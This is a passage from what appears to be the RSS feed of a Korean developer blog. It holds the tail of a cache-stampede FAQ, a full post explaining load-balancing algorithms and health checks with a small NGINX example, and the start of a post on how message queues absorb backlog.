&lt;p&gt;아닙니다. 원본 조회가 싸고 동시 요청이 적다면 중복 계산을 허용하는 편이 단순합니다. 재생성 비용이 크거나 인기 키에 트래픽이 집중될 때 락, 요청 병합, stale-while-revalidate를 적용합니다.&lt;/p&gt;
&lt;h3&gt;TTL 지터는 어느 정도가 적당한가요?&lt;/h3&gt;
&lt;p&gt;고정 비율은 없습니다. 시작점으로 기본 TTL의 5~15%를 무작위로 더하거나 빼고, 키별 만료 분포와 MISS 급증을 관찰해 조정합니다. 너무 큰 지터는 데이터 신선도 요구사항을 깨뜨릴 수 있습니다.&lt;/p&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/develop/use-cases/cache-aside/php/&quot;&gt;Redis — Cache-aside와 Cache Stampede 방지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/develop/clients/patterns/distributed-locks/&quot;&gt;Redis — Distributed Locks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[로드 밸런싱이란? 요청 수를 똑같이 나눠도 한 서버가 터지는 이유]]></title><description><![CDATA[안녕하세요. 자바파커입니다. 서버가 세 대라서 요청도 세 대에 똑같이 나눴습니다. 그런데 잠시 뒤 1번 서버의 연결은 8개, 2번과 3번 서버는 각각…]]></description><link>https://blog.javapark.kr/load-balancing-algorithms/</link><guid isPermaLink="false">https://blog.javapark.kr/load-balancing-algorithms/</guid><pubDate>Wed, 26 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/d3ad80c443609fb28eee4036c74c735d/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB/0lEQVR42i2SWW/TQBSFXbWZzVvixPbMeElsx3ZSJ3UIMW6bUJoCQoAISCAhQLzwwCKEEFURT/DbuU4tHY00I38695xrBVld6tpUciJcKhziDIhrY5AzaE7uNBIuCSQZBWQUNufQJ77EkiuoZ6LQ78QjnERo6B8Y6mHXAJIKtyUlp6OApRGbjNk0pVmC4iEKPCy4ctQzL58/271/u7zYbJ4+2X14d/XyBU8TRVdhFiDBiuVjNptoixkrCyc/nqRFEmcdIZTDnvnx2+fvf34/fv3m17+/X2+uP/388eXmevtqRyTHviTjiAK5PNHrpX5e6eXcyDM9SbDvK2hgTeoqr1fVebZ+WKWn97J6tdw+CMt5E3UcmfVds14Z90/N7dq42lh3Ft3jKUtiGgQKtvtNQtc2pKUKi4GVcA+6xhG8Q9os6W/W/fWZud2Yjy4AFvPSSTM1HFJwBhjqpVCM6xKx71xyNfDovk+olxa5tiq1aqGfVeBPF3OSjVkcYSmVdiWuQwSsBMSBaeQJEAl9msZsmqknhbaYs3ImpjNeFOpwhG23hdHtbqHefcMtDOaQYhjQJKLgNslYnupRrPoB5QJ1LQUY4gkGDrC6/det4BrA5KKRJ0kY3Ap7HnZcIDuaqcBvQD2hArwPeTtty8OVc+gC2zaynUaDAer1kdFDmtlRjf/F0Uk8HLYI0QAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/d3ad80c443609fb28eee4036c74c735d/a1b3b/thumbnail.webp 215w,
/static/d3ad80c443609fb28eee4036c74c735d/fc700/thumbnail.webp 430w,
/static/d3ad80c443609fb28eee4036c74c735d/521f7/thumbnail.webp 860w,
/static/d3ad80c443609fb28eee4036c74c735d/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/d3ad80c443609fb28eee4036c74c735d/f7886/thumbnail.png 215w,
/static/d3ad80c443609fb28eee4036c74c735d/bc750/thumbnail.png 430w,
/static/d3ad80c443609fb28eee4036c74c735d/3e3fe/thumbnail.png 860w,
/static/d3ad80c443609fb28eee4036c74c735d/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/d3ad80c443609fb28eee4036c74c735d/3e3fe/thumbnail.png&apos; alt=&apos;로드 밸런서가 서로 처리시간이 다른 요청을 서버 3대에 분배하는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;로드 밸런서가 서로 처리시간이 다른 요청을 서버 3대에 분배하는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;서버가 세 대라서 요청도 세 대에 똑같이 나눴습니다. 그런데 잠시 뒤 1번 서버의 연결은 8개, 2번과 3번 서버는 각각 1개가 됐습니다.&lt;/p&gt;
&lt;p&gt;요청 개수는 공평했는데 왜 부하는 공평하지 않을까요?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;로드 밸런싱의 목표는 요청 개수를 똑같이 만드는 것이 아니라, 사용 가능한 서버가 감당할 수 있도록 트래픽을 분배하는 것입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;요청이 서버 사이를 이동하고 알고리즘을 바꾸자 활성 연결 수가 달라지는 과정은 &lt;strong&gt;55초 영상&lt;/strong&gt;으로도 준비했습니다. 공개되면 이 자리에 연결합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;로드 밸런서가 하는 일&lt;/h2&gt;
&lt;p&gt;클라이언트가 서버 주소를 직접 고르면 서버 추가·제거와 장애 대응이 어렵습니다. 로드 밸런서는 하나의 진입점 뒤에 여러 서버를 숨기고, 새 요청을 어느 서버로 보낼지 결정합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Client → Load Balancer → Server A
                       → Server B
                       → Server C&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;좋은 분배에는 세 가지 정보가 필요합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;어떤 서버가 살아 있는가&lt;/li&gt;
&lt;li&gt;각 서버가 현재 얼마나 바쁜가&lt;/li&gt;
&lt;li&gt;같은 사용자를 같은 서버로 보내야 하는가&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Round Robin — 차례대로 하나씩&lt;/h2&gt;
&lt;p&gt;Round Robin은 가장 단순합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;요청 1 → A
요청 2 → B
요청 3 → C
요청 4 → A&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;모든 서버의 성능과 요청 처리시간이 비슷하면 충분히 잘 작동합니다. 설정이 없을 때 NGINX가 사용하는 기본 방식도 Round Robin입니다.&lt;/p&gt;
&lt;p&gt;문제는 요청의 무게가 다를 때입니다. 50ms 요청과 8초 요청을 모두 한 건으로 세면, 요청 수는 같아도 점유 시간은 크게 달라집니다.&lt;/p&gt;
&lt;h2&gt;Least Connections — 지금 가장 한가한 서버로&lt;/h2&gt;
&lt;p&gt;Least Connections는 새 요청이 들어오는 순간 활성 연결 수가 가장 적은 서버를 고릅니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;서버&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;활성 연결&lt;/th&gt;
&lt;th&gt;새 요청&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;8&lt;/td&gt;
&lt;td&gt;보류&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;
&lt;td&gt;후보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2&lt;/td&gt;
&lt;td&gt;후보&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;긴 요청이 특정 서버에 남아 있으면 이후 요청은 다른 서버로 흐릅니다. 다만 연결 하나의 실제 CPU·메모리 비용까지 아는 것은 아닙니다. 연결 수는 부하를 추정하는 신호일 뿐입니다.&lt;/p&gt;
&lt;h2&gt;Weighted — 서버 성능이 다를 때&lt;/h2&gt;
&lt;p&gt;서버 A가 B보다 두 배 강하다면 같은 비율로 보내는 것이 오히려 불공평합니다. 이때 가중치를 둡니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;nginx&quot;&gt;&lt;pre class=&quot;language-nginx&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;&lt;span class=&quot;token directive&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;upstream&lt;/span&gt; backend&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token directive&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;server&lt;/span&gt; app-a:8080 weight=2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token directive&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;server&lt;/span&gt; app-b:8080 weight=1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;대략 A에 두 번, B에 한 번꼴로 분배됩니다. 실제 운영에서는 가중치와 헬스 체크를 함께 사용해야 합니다.&lt;/p&gt;
&lt;h2&gt;IP Hash — 같은 사용자를 같은 서버로&lt;/h2&gt;
&lt;p&gt;IP Hash는 클라이언트 IP를 해시해 서버를 고릅니다. 서버 메모리에 세션을 저장한 레거시 애플리케이션에서 세션 고정에 쓸 수 있습니다.&lt;/p&gt;
&lt;p&gt;하지만 모바일 통신망·NAT·프록시 환경에서는 여러 사용자가 같은 IP로 보일 수 있습니다. 서버가 추가되거나 빠질 때 매핑도 크게 바뀝니다. 가능하면 세션을 Redis 같은 외부 저장소로 분리하고 서버를 무상태로 만드는 편이 확장에 유리합니다.&lt;/p&gt;
&lt;h2&gt;헬스 체크가 알고리즘보다 먼저다&lt;/h2&gt;
&lt;p&gt;아무리 좋은 알고리즘도 죽은 서버를 후보에 남겨 두면 실패합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;연결 가능 여부만 보는 L4 체크&lt;/li&gt;
&lt;li&gt;HTTP 상태와 응답 본문까지 보는 L7 체크&lt;/li&gt;
&lt;li&gt;연속 실패·성공 횟수를 둔 완충&lt;/li&gt;
&lt;li&gt;점진적으로 트래픽을 복구하는 slow start&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;장애 한 번에 서버를 즉시 빼고 넣으면 상태가 출렁일 수 있습니다. 연속 실패 임계값과 복귀 조건을 함께 설계해야 합니다.&lt;/p&gt;
&lt;h2&gt;어떤 방식을 고를까&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상황&lt;/th&gt;
&lt;th&gt;시작점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;서버와 요청이 비슷함&lt;/td&gt;
&lt;td&gt;Round Robin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;요청 처리시간 편차가 큼&lt;/td&gt;
&lt;td&gt;Least Connections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서버 성능이 다름&lt;/td&gt;
&lt;td&gt;Weighted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;임시 세션 고정이 필요함&lt;/td&gt;
&lt;td&gt;IP Hash&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;선택 후에는 서버별 활성 연결·응답시간·오류율·거부 요청을 같이 봐야 합니다. 분배 개수만 같다고 균형이 맞은 것은 아닙니다.&lt;/p&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;p&gt;로드 밸런서는 요청을 똑같이 세는 장치가 아닙니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Round Robin은 순서가 단순하지만 요청 무게를 모릅니다.&lt;/li&gt;
&lt;li&gt;Least Connections는 현재 점유 상태를 더 잘 반영합니다.&lt;/li&gt;
&lt;li&gt;서버 성능이 다르면 가중치가 필요합니다.&lt;/li&gt;
&lt;li&gt;헬스 체크가 먼저 잘못되면 어떤 알고리즘도 실패합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;공평하게 나눈 요청 수와 공평한 부하는 다릅니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;L4와 L7 로드 밸런싱은 무엇이 다른가요?&lt;/h3&gt;
&lt;p&gt;L4는 IP와 포트 같은 전송 계층 정보를 기준으로 연결을 분배합니다. L7은 HTTP 경로, 헤더, 쿠키처럼 애플리케이션 계층의 정보를 보고 &lt;code class=&quot;language-text&quot;&gt;/api&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;/images&lt;/code&gt;를 서로 다른 서버군으로 보낼 수 있습니다. 단순하고 빠른 분배에는 L4, 콘텐츠 기반 라우팅이 필요하면 L7이 적합합니다.&lt;/p&gt;
&lt;h3&gt;Round Robin만으로도 충분한 경우가 있나요?&lt;/h3&gt;
&lt;p&gt;서버 사양이 같고 요청별 처리 시간이 비슷하며 연결이 짧다면 충분합니다. 반대로 스트리밍, 파일 변환, AI 추론처럼 처리 시간 편차가 크면 요청 개수보다 현재 연결 수나 응답 시간을 반영하는 편이 낫습니다.&lt;/p&gt;
&lt;h3&gt;로드 밸런서 자체가 단일 장애점이 되지 않나요?&lt;/h3&gt;
&lt;p&gt;한 대만 두면 단일 장애점이 됩니다. 운영 환경에서는 로드 밸런서를 다중화하고 헬스 체크, 장애 조치, 관리형 서비스의 다중 가용 영역 구성을 함께 사용합니다.&lt;/p&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.nginx.com/nginx/admin-guide/load-balancer/http-load-balancer/&quot;&gt;NGINX — HTTP Load Balancing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nginx.org/en/docs/http/ngx_http_upstream_module.html&quot;&gt;NGINX — Upstream Module&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[메시지 큐란? 일을 빨리 하는 게 아니라 안전하게 기다리게 한다]]></title><description><![CDATA[안녕하세요. 자바파커입니다. 초당 요청이 100건 들어오는데 서버는 20건밖에 처리하지 못한다고 해보겠습니다. 직접 호출이라면 2…]]></description><link>https://blog.javapark.kr/message-queue-explained/</link><guid isPermaLink="false">https://blog.javapark.kr/message-queue-explained/</guid><pubDate>Tue, 25 Aug 2026 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/b9fd382f0417d432b91e85f0b92e36d4/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACRklEQVR42h3S226bQBAGYKLYLAsL7LLsYgy2MTYxAYzxOXaTNrGlJLZj5aTEadPmomqqVlGvKlVV+wJ9jz5QX6kk0tyNPs2M5heKkEGtKuM61D2Z+JA0RLUiqq6oVUWtJuoeyAs3JKMlsRjyBLIY0F1gBID4QkFiMo1Ue4CsnlYea84490CrAuxJuA7yIo0cyHYfuWPkThR3LJcyibbyVo75yer2eHmzf7hcX32wa22hyAuyswXsbcUtaLVcKuWhWt3X6ke6P9e8N8/eaj/jbYlv7j9/+vrj8enXl2+/L24+zheb4/X95uFpvrwbvD6XeCa7Uxyc0vgahbdqY4kqU2hl0AgEoDh7b65Xi7Ozo+7scNabrNPh6W42i3oztznk/gh7+3a0MNIHc/j98OIxOrhj4cr0D6QcK3od4QAbAaVNQkOV7CokFNXGllwpqN423qkmi3Bw7e+9//Pz5N/fdPPu0uu+rURzQJoC0pvYCAlNiNkhLMWsrZuJxhKVx7IZQh4rzghWDpx0fXp+OVtdeb217Ewhb0vYEzTcyiVlHcYyyruEdTFLVZbIZizRENAWtFLkDBX3VaE8LzpHsjNBpQ6kgYhsQScRoW1qdjkfMD6grIdZRzXbyEzgyz8luvPyqkx3Mux0kJXk1wLVESEVdCMyeb9Unlj21CyNqTUiVl/jGeLpC27mYcijgs0mZzuqFSDuE8NGmlkARNBpnG9rlcfMHlFrYFh9nfdU3lHMSCLBc0j0mqhV8lESKouoBBQOFAqgUQT6f2NfVdzSs4/mAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/b9fd382f0417d432b91e85f0b92e36d4/a1b3b/thumbnail.webp 215w,
/static/b9fd382f0417d432b91e85f0b92e36d4/fc700/thumbnail.webp 430w,
/static/b9fd382f0417d432b91e85f0b92e36d4/521f7/thumbnail.webp 860w,
/static/b9fd382f0417d432b91e85f0b92e36d4/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/b9fd382f0417d432b91e85f0b92e36d4/f7886/thumbnail.png 215w,
/static/b9fd382f0417d432b91e85f0b92e36d4/bc750/thumbnail.png 430w,
/static/b9fd382f0417d432b91e85f0b92e36d4/3e3fe/thumbnail.png 860w,
/static/b9fd382f0417d432b91e85f0b92e36d4/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/b9fd382f0417d432b91e85f0b92e36d4/3e3fe/thumbnail.png&apos; alt=&apos;메시지 큐 커버 — 초당 100건이 들어오고 Consumer는 초당 20건을 처리하며 backlog가 쌓이는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;메시지 큐 커버 — 초당 100건이 들어오고 Consumer는 초당 20건을 처리하며 backlog가 쌓이는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;초당 요청이 100건 들어오는데 서버는 20건밖에 처리하지 못한다고 해보겠습니다. 직접 호출이라면 20건은 처리되고 나머지는 타임아웃이나 오류가 됩니다.&lt;/p&gt;
&lt;p&gt;그 사이에 메시지 큐를 넣으면 어떻게 될까요?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;서버가 빨라지는 것은 아닙니다. 처리하지 못한 80건이 &lt;strong&gt;실패 대신 대기&lt;/strong&gt;가 됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이것이 메시지 큐의 핵심입니다. 메시지 큐는 일을 빨리 하는 장치가 아니라, &lt;strong&gt;생산 속도와 소비 속도의 차이를 안전하게 저장하는 장치&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;요청 블록이 큐에 쌓였다가 Worker가 자기 속도로 처리하고, Consumer를 늘리면 적체가 줄어드는 과정은 &lt;strong&gt;58초 영상&lt;/strong&gt;으로도 정리했습니다. 영상이 공개되면 이 자리에 연결합니다.&lt;/p&gt;
&lt;p&gt;초당 100건이 들어오고 20건만 처리될 때 나머지가 어디로 가는지를 &lt;strong&gt;1분 영상&lt;/strong&gt;으로도 정리했습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/VroS0VfxjB4&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 118.13953488372093%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAAAAAAAAAHqZRakAAAD2klEQVR42n1U+XPTRhj1THGQdnX4tm7ZkiXLR2rrluXEsePEJCm0pDRtQw5IgPT3DoUGUsoM/3i/lZJS2pnOPHtWu/v2vf327RaQ6NP1Ea/GJS1h5YiVQywF0InE4L/Agp8DCR4W/QIjhbSUOt6D/e+v9g5f7X57WdOjYqVH1wdU7X/QpxujAqxB1cdVNTTWV9Z4bz15XNPjYrlHVYdUtU9VB4D72f8XqGRkLIYInIjgNgIwckygABJWTQmUBHowQIqzOSGhkPlBAX4wwKgTTp9y7RlvbJXMRcnc5lqzWv+7Wv+Qb81KxoJrz2GU1TcZNcVKgpWYkBGspMRICKiGS0ElpIhqBkRWm3L6DMCqk9wCUiYIaBIUNQI9RJTlCImRYE7Xp0eD6ZPWaDWeH9eMyb2SXaw4a4DqQGn19qfmj9vtxzPz0bTd6/Zo2IIcFoisFDf0yBwu7dHKHK263gNjuBCtVHU26q2Aqva4Squt612rY7R0o6WJap+UICdDSVBzJG0+lTeP4VP2jtXgBNzq8bnsHiMlEjZOKuHRV824NjotD47u18ZQUbCckeWYln372Ufr9AYZC2f3g7XzHmkLZ/+jtXONO8v+i0/WyTVjLofffLJ33mEhYGDbSnynXB+L4YXoP8NqIi4uhC1oTKTgUvDOsDKRoheCe8poibTzsjk7Q8KYHJ6SKYMHuunZq3f28i02tron152f36D23Nl931m8xtq8t3fTmf+Kzblz/ofxw2sILyPlylkqUGMsRy+l8DLXEYMLrKXy7itx8ZzRUiW+IqaUVEmuBP85arjENtmzDKmK6Kbv7N04q+tcp7vzO2y+d/bB+uktai8GB39ay9+wljW236BmQHJ2S1YSuuys8VaxZFPVbrH078a9zw17je+g6jALSQgJC0iSSW5I5Rg1uYtUwkHItCl72zOBoXwm8zlhJNsRZJvVUk7f4NqbJOHtLch2xT6odA+41ib5bM+gAZmFJbJchUgi9zmAKw2LgQKvpTyJ9JTVN+Bgyt39sr1PvOhTKBvsDmd1ypjwNngFVvI5NeT0GKsRUgKsQnTIrSBrGUvOXMJ5Ai2P1D+ZWHQLrOIzxoDWurWeJ4+S5nok9Oe8npIdylFe1b+Ru82ZWBgVWNll7QFlOYPJ9uH5Lw+fXo63npRbG9kpxHeE8E4Qng1gjgEIyJzsYdOhdKtsj+RxqnhgOGDEkLyE5DHMpXK1TDCjETTWC7zocqoHYDWAy2gu0FgpYEkhfeZWyv2C1vwamPBCFvimWxK8kuiXxIAXQ068ZbKSx0guk5m85RAaEUSNITDpWv8vcpfPZWeA/7oAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/ddca50ac76e8e4e47f997c9d0f7b1541/a1b3b/video-thumb.webp 215w,
/static/ddca50ac76e8e4e47f997c9d0f7b1541/fc700/video-thumb.webp 430w,
/static/ddca50ac76e8e4e47f997c9d0f7b1541/521f7/video-thumb.webp 860w,
/static/ddca50ac76e8e4e47f997c9d0f7b1541/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/ddca50ac76e8e4e47f997c9d0f7b1541/f7886/video-thumb.png 215w,
/static/ddca50ac76e8e4e47f997c9d0f7b1541/bc750/video-thumb.png 430w,
/static/ddca50ac76e8e4e47f997c9d0f7b1541/3e3fe/video-thumb.png 860w,
/static/ddca50ac76e8e4e47f997c9d0f7b1541/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/ddca50ac76e8e4e47f997c9d0f7b1541/3e3fe/video-thumb.png&apos; alt=&apos;메시지 큐 영상 — 직접 호출에서 실패하던 80건이 큐에서는 BACKLOG 로 남는다&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;메시지 큐 영상 — 직접 호출에서 실패하던 80건이 큐에서는 BACKLOG 로 남는다&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Producer, Queue, Consumer&lt;/h2&gt;
&lt;p&gt;메시지 큐 시스템은 세 부분으로 나뉩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Producer  →  Queue  →  Consumer
주문 API     대기열     결제·메일 Worker&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구성요소&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Producer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;처리할 일을 메시지로 만들어 큐에 넣습니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Queue/Broker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Consumer가 가져갈 때까지 메시지를 저장합니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Consumer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;메시지를 가져와 실제 작업을 처리합니다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;직접 호출에서는 Producer가 Consumer의 응답을 기다립니다. Consumer가 느리거나 죽으면 Producer까지 함께 느려집니다.&lt;/p&gt;
&lt;p&gt;큐를 넣으면 Producer는 메시지를 맡기고 먼저 끝낼 수 있습니다. Consumer는 자기 속도로 처리합니다. 둘의 생명주기와 처리량이 분리됩니다. Amazon SQS 공식 문서가 메시지 큐의 첫 장점으로 &lt;strong&gt;분리(decoupling)와 독립적인 확장&lt;/strong&gt;을 드는 이유입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;큐는 처리량 차이를 backlog로 바꾼다&lt;/h2&gt;
&lt;p&gt;초당 유입량을 &lt;code class=&quot;language-text&quot;&gt;λ&lt;/code&gt;, 초당 처리량을 &lt;code class=&quot;language-text&quot;&gt;μ&lt;/code&gt;라고 하겠습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;λ = 100 msg/s
μ = 20 msg/s

backlog 증가량 = λ - μ = 80 msg/s&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
